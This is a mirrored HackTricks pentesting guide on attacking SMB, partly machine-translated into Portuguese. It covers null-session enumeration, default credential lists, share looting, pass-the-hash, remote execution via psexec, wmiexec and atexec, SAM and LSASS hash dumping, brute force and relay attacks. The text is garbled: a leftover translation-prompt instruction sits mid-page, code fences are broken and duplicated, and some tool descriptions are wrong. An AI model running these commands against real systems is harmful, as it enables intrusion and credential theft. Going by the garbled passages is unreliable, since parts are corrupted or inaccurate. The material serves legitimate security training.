Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-24 20:13:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-smb.md

32 KiB
Raw Blame History

139,445 - Pentesting SMB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Porta 139

NetBIOS significa Network Basic Input Output System. É um protocolo de software que permite que aplicativos, PCs e desktops em uma rede de área local (LAN) se comuniquem com hardware de rede e transmitam dados pela rede. Aplicativos de software que são executados em uma rede NetBIOS localizam e identificam uns aos outros por meio de seus nomes NetBIOS. Um nome NetBIOS tem até 16 caracteres de comprimento e geralmente é separado do nome do computador. Dois aplicativos iniciam uma sessão NetBIOS quando um (o cliente) envia um comando para "chamar" outro cliente (o servidor) pela Porta TCP 139. (extraído daqui: aqui)

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Porta 445

Enquanto a porta 139 é conhecida tecnicamente como 'NBT sobre IP', a porta 445 é 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block, na linguagem moderna, também é conhecido como Common Internet File System. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.

Por exemplo, no Windows, o SMB pode ser executado diretamente sobre TCP/IP sem a necessidade do NetBIOS sobre TCP/IP. Isso usará, como você apontou, a porta 445. Em outros sistemas, você encontrará serviços e aplicativos usando a porta 139. Isso significa que o SMB está sendo executado com o NetBIOS sobre TCP/IP**.** (extraído da qui)

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

O Server Message Block (SMB) é um protocolo cliente-servidor que regula o acesso a arquivos e diretórios inteiros, além de outros recursos de rede, como impressoras, roteadores ou interfaces liberadas para a rede. A principal área de aplicação do protocolo tem sido a série de sistemas operacionais Windows, em particular, cujos serviços de rede suportam o SMB de maneira compatível com versões anteriores - o que significa que dispositivos com edições mais recentes podem se comunicar facilmente com dispositivos que possuem um sistema operacional Microsoft mais antigo instalado.
Com o projeto de software livre Samba, também existe uma solução que permite o uso do SMB no Linux e nas distribuições Unix e, portanto, a comunicação entre plataformas via SMB.

Um servidor SMB pode fornecer partes arbitrárias de seu sistema de arquivos local como compartilhamentos. Portanto, a hierarquia visível para um cliente é parcialmente independente da estrutura no servidor. Os direitos de acesso são definidos por Listas de Controle de Acesso (ACL). Eles podem ser controlados de maneira precisa com base em atributos como executar, ler e acesso total para usuários individuais ou grupos de usuários. As ACLs são definidas com base nos compartilhamentos e, portanto, não correspondem aos direitos atribuídos localmente no servidor.

Compartilhamento IPC$

Do livro Network Security Assessment 3rd edition

Com uma sessão nula anônima, você pode acessar o compartilhamento IPC$ e interagir com serviços expostos por meio de named pipes. A utilidade enum4linux dentro do Kali Linux é particularmente útil; com ela, você pode obter o seguinte:

  • Informações do sistema operacional
  • Detalhes do domínio pai
  • Uma lista de usuários e grupos locais
  • Detalhes dos compartilhamentos SMB disponíveis
  • A política de segurança efetiva do sistema

O que é NTLM

Se você não sabe o que é NTLM ou deseja saber como ele funciona e como abusar dele, encontrará muito interessante esta página sobre NTLM, onde é explicado como esse protocolo funciona e como você pode tirar proveito dele:

{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

Enumeração do Servidor

Escaneie uma rede em busca de hosts:

nbtscan -r 192.168.0.1/24

Versão do servidor SMB

Para procurar possíveis exploits na versão do SMB, é importante saber qual versão está sendo usada. Se essa informação não aparecer em outras ferramentas utilizadas, você pode:

  • Usar o módulo auxiliar MSF _auxiliary/scanner/smb/smb_version
  • Ou este script:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Pesquisar exploit

To search for exploits, you can use various online resources such as exploit databases, security forums, and vulnerability databases. These platforms provide a collection of known vulnerabilities and associated exploits that can be used during penetration testing. By searching for specific vulnerabilities related to the target network service, you can find relevant exploits that can be used to gain unauthorized access or perform other malicious activities. It is important to note that the use of exploits should only be done with proper authorization and for legitimate security testing purposes.

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Possíveis Credenciais

Nome de usuário(s) Senhas comuns
(em branco) (em branco)
convidado (em branco)
Administrador, admin (em branco), senha, administrador, admin
arcserve arcserve, backup
tivoli, tmersrvd tivoli, tmersrvd, admin
backupexec, backup backupexec, backup, arcada
teste, laboratório, demonstração senha, teste, laboratório, demonstração

Informações do Ambiente SMB

Obter Informações

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Enumerar Usuários, Grupos e Usuários Logados

Essas informações já devem ter sido coletadas usando o enum4linux e enum4linux-ng

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Enumerar usuários locais

Impacket

lookupsid.py -no-pass hostname.local

O seguinte é conteúdo de um livro de hacking sobre técnicas de hacking. O seguinte conteúdo é do arquivo network-services-pentesting/pentesting-smb.md. Traduza o texto relevante em inglês para o português e retorne a tradução mantendo exatamente a mesma sintaxe markdown e html. Não traduza coisas como código, nomes de técnicas de hacking, palavras de hacking, nomes de plataformas de nuvem/SaaS (como Workspace, aws, gcp...), a palavra 'leak', pentesting e tags markdown. Também não adicione nada extra além da tradução e da sintaxe markdown.

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Enumerar usuários locais

use auxiliary/scanner/smb/smb_lookupsid
set rhosts nome_do_host.local
run

Enumerating LSARPC and SAMR rpcclient

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}

GUI connection from linux

In the terminal:

xdg-open smb://cascade.htb/

In file browser window (nautilus, thunar, etc)

smb://friendzone.htb/general/

Shared Folders Enumeration

List shared folders

It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.

```markdown
# smbclient --no-pass -L //<IP> # Usuário nulo
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT

# smbmap -H <IP> [-P <PORT>] # Usuário nulo
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # Credenciais
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # Lista recursiva

# crackmapexec smb <IP> -u '' -p '' --shares # Usuário nulo
crackmapexec smb <IP> -u 'username' -p 'password' --shares # Usuário convidado
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # Usuário convidado


### **Connect/List a shared folder**

```bash
#Conectar usando smbclient
smbclient --no-pass //<IP>/<Pasta>
smbclient -U 'nome_de_usuário[%senha]' -L [--pw-nt-hash] //<IP> #Se você omitir a senha, ela será solicitada. Com --pw-nt-hash, a senha fornecida é o hash NT
#Use --no-pass -c 'recurse;ls' para listar recursivamente com smbclient

#Listar com smbmap, sem especificar a pasta lista tudo
smbmap [-u "nome_de_usuário" -p "senha"] -R [Pasta] -H <IP> [-P <PORTA>] # Lista recursiva
smbmap [-u "nome_de_usuário" -p "senha"] -r [Pasta] -H <IP> [-P <PORTA>] # Lista não recursiva
smbmap -u "nome_de_usuário" -p "<NT>:<LM>" [-r/-R] [Pasta] -H <IP> [-P <PORTA>] # Pass-the-Hash

Manually enumerate windows shares and connect to them

It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.

Common share names for windows targets are

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Common share names from Network Security Assessment 3rd edition)

You can try to connect to them by using the following command

```markdown
# Pentesting SMB

## Conexão de sessão nula para se conectar a um compartilhamento do Windows

smbclient -U '%' -N \\\\<IP>\\<SHARE>

## Conexão autenticada para se conectar a um compartilhamento do Windows (será solicitada uma senha)

smbclient -U '<USER>' \\\\<IP>\\<SHARE>


or this script (using a null session)

```bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] é possível criar uma sessão nula para $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

examples

```markdown
# Pentesting SMB

## Enumerating SMB Shares

To enumerate SMB shares, you can use the `smbclient` tool. Here are a couple of examples:

1. Enumerating a non-existent share:

```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # retorna NT_STATUS_BAD_NETWORK_NAME
  1. Enumerating the ADMIN$ share:
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # retorna NT_STATUS_ACCESS_DENIED ou até mesmo estabelece uma sessão

In the first example, the command returns NT_STATUS_BAD_NETWORK_NAME if the share does not exist.

In the second example, the command returns NT_STATUS_ACCESS_DENIED if access to the ADMIN$ share is denied. However, it may also establish a session if access is granted.

Mount a shared folder

Montar -t cifs //x.x.x.x/compartilhamento /mnt/compartilhamento Montar -t cifs -o "username=usuário,password=senha" //x.x.x.x/compartilhamento /mnt/compartilhamento

Download files

Read previous sections to learn how to connect with credentials/Pass-the-Hash.

# Procurar um arquivo e baixar
sudo smbmap -R Pasta -H <IP> -A <NomeDoArquivo> -q # Procura o arquivo em modo recursivo e o baixa dentro de /usr/share/smbmap

# Baixar tudo
smbclient //<IP>/<compartilhamento>
> mask ""
> recurse
> prompt
> mget *
# Baixar tudo para o diretório atual

Commands:

  • mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
  • recurse: toggles recursion on (default: off)
  • prompt: toggles prompting for filenames off (default: on)
  • mget: copies all files matching the mask from host to client machine

(Information from the manpage of smbclient)

Domain Shared Folders Search

Snaffler.exe -s -d domain.local -o snaffler.log -v data

O Snaffler.exe é uma ferramenta de pentesting que pode ser usada para explorar vulnerabilidades em serviços SMB (Server Message Block). O comando acima inicia o Snaffler em modo silencioso (-s) e especifica o domínio alvo como "domain.local" (-d domain.local). O resultado da exploração será salvo em um arquivo de log chamado "snaffler.log" (-o snaffler.log). Além disso, o nível de verbosidade foi definido como "data" (-v data), o que significa que informações detalhadas sobre os dados obtidos serão registradas.
  • CrackMapExec spider.
  • -M spider_plus [--share <share_name>]
  • --pattern txt

sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Compartilhamentos do Departamento'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

{% hint style="info" %} The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts.
You should check the scripts inside of it as you might find sensitive info such as passwords. {% endhint %}

Read Registry

You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

Setting Description
browseable = yes Allow listing available shares in the current share?
read only = no Forbid the creation and modification of files?
writable = yes Allow users to create and modify files?
guest ok = yes Allow connecting to the service without using a password?
enable privileges = yes Honor privileges assigned to specific SID?
create mask = 0777 What permissions must be assigned to the newly created files?
directory mask = 0777 What permissions must be assigned to the newly created directories?
logon script = script.sh What script needs to be executed on the user's login?
magic script = script.sh Which script should be executed when the script gets closed?
magic output = script.out Where the output of the magic script needs to be stored?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

# Pentesting SMB

## Enumerating SMB Shares

To enumerate SMB shares on a target machine, you can use the `smbclient` command with the `--kerberos` option. For example, to enumerate the shares on the machine `ws01win10.domain.com`, you can run the following command:

```bash
smbclient --kerberos //ws01win10.domain.com/C$

Enumerating RPC Services

To enumerate RPC services on a target machine, you can use the rpcclient command with the -k option. For example, to enumerate the RPC services on the machine ws01win10.domain.com, you can run the following command:

rpcclient -k ws01win10.domain.com

Pentesting SMB

Enumerando Compartilhamentos SMB

Para enumerar os compartilhamentos SMB em uma máquina de destino, você pode usar o comando smbclient com a opção --kerberos. Por exemplo, para enumerar os compartilhamentos na máquina ws01win10.domain.com, você pode executar o seguinte comando:

smbclient --kerberos //ws01win10.domain.com/C$

Enumerando Serviços RPC

Para enumerar os serviços RPC em uma máquina de destino, você pode usar o comando rpcclient com a opção -k. Por exemplo, para enumerar os serviços RPC na máquina ws01win10.domain.com, você pode executar o seguinte comando:

rpcclient -k ws01win10.domain.com


## **Execute Commands**

### **crackmapexec**

crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:

```bash
```markdown
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Executar Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Executar cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Usando --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump do SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump de hashes do LSASS em memória
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Obter sessões
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Obter usuários logados
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerar os discos
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerar usuários
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #Enumerar grupos
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #Enumerar grupos locais
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Obter política de senha
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #Brute force de RID

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash


### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)

Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/

```bash
# Se nenhuma senha for fornecida, será solicitada
./psexec.py [[domínio/]nome de usuário[:senha]@]<nome ou endereço do alvo>
./psexec.py -hashes <LM:NT> administrador@10.10.10.103 # Pass-the-Hash
psexec \\192.168.122.66 -u Administrador -p 123456Ww
psexec \\192.168.122.66 -u Administrador -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Stealthily execute a command shell without touching the disk or running a new service using DCOM via port 135.
In kali it is located on /usr/share/doc/python3-impacket/examples/

#Se nenhuma senha for fornecida, será solicitada
./wmiexec.py [[domínio/]nomeDeUsuário[:senha]@]<nomeDoAlvo ou endereço> #Solicitar senha
./wmiexec.py -hashes LM:NT administrador@10.10.10.103 #Pass-the-Hash
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado

Using parameter-k you can authenticate against kerberos instead of NTLM

#Se nenhuma senha for fornecida, será solicitada
./dcomexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço>
./dcomexec.py -hashes <LM:NT> administrador@10.10.10.103 #Pass-the-Hash
#Você pode adicionar ao final do comando um comando CMD a ser executado, se não fizer isso, um shell semi-interativo será solicitado

AtExec

Execute commands via the Task Scheduler (using \pipe\atsvc via SMB).
In kali it is located on /usr/share/doc/python3-impacket/examples/

./atexec.py [[domínio/]nome de usuário[:senha]@]<Nome do alvo ou endereço> "comando"
./atexec.py -hashes <LM:NT> administrador@10.10.10.175 "whoami"

Impacket reference

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Bruteforce users credentials

This is not recommended, you could block an account if you exceed the maximum allowed tries

```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Obter nomes de usuário forçando a enumeração de RIDs e, em seguida, tentar forçar a senha para cada nome de usuário


## SMB relay attack

This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

## SMB-Trap

The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`

This happens with the functions:

* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)

### SMBTrap using MitMf

![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)

## NTLM Theft

Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).

[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)

## HackTricks Automatic Commands

Protocolo_Nome: SMB #Abreviação do Protocolo se houver. Número_da_Porta: 137,138,139 #Separado por vírgula se houver mais de um. Descrição_do_Protocolo: Server Message Block #Abreviação do Protocolo Escrito por extenso

Entrada_1: Nome: Notas Descrição: Notas para SMB Nota: | Embora a porta 139 seja conhecida tecnicamente como 'NBT sobre IP', a porta 445 é 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block, na linguagem moderna, também é conhecido como Common Internet File System. O sistema opera como um protocolo de rede de camada de aplicação usado principalmente para oferecer acesso compartilhado a arquivos, impressoras, portas seriais e outros tipos de comunicações entre nós em uma rede.

#Esses são os comandos que eu executo sempre que vejo uma porta SMB aberta

Sem Credenciais nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP}

Com Credenciais smbmap -H {IP} -u {Username} -p {Password} smbclient "\\{IP}\" -U {Username} -W {Domain_Name} -l {IP} smbclient "\\{IP}\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash hash crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entrada_2: Nome: Enum4Linux Descrição: Varredura SMB Geral Comando: enum4linux -a {IP}

Entrada_3: Nome: Varredura Nmap SMB 1 Descrição: Varredura de Vulnerabilidades SMB com Nmap Comando: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entrada_4: Nome: Varredura Nmap SMB 2 Descrição: Varredura de Vulnerabilidades SMB com Nmap (Menos Específica) Comando: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entrada_5: Nome: Força Bruta Hydra Descrição: Necessita de Usuário Comando: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entrada_6: Nome: Enumeração SMB/SMB2 139/445 sem console mfs Descrição: Enumeração SMB/SMB2 139/445 sem a necessidade de executar msfconsole Nota: obtido de https://github.com/carlospolop/legion Comando: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'


<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>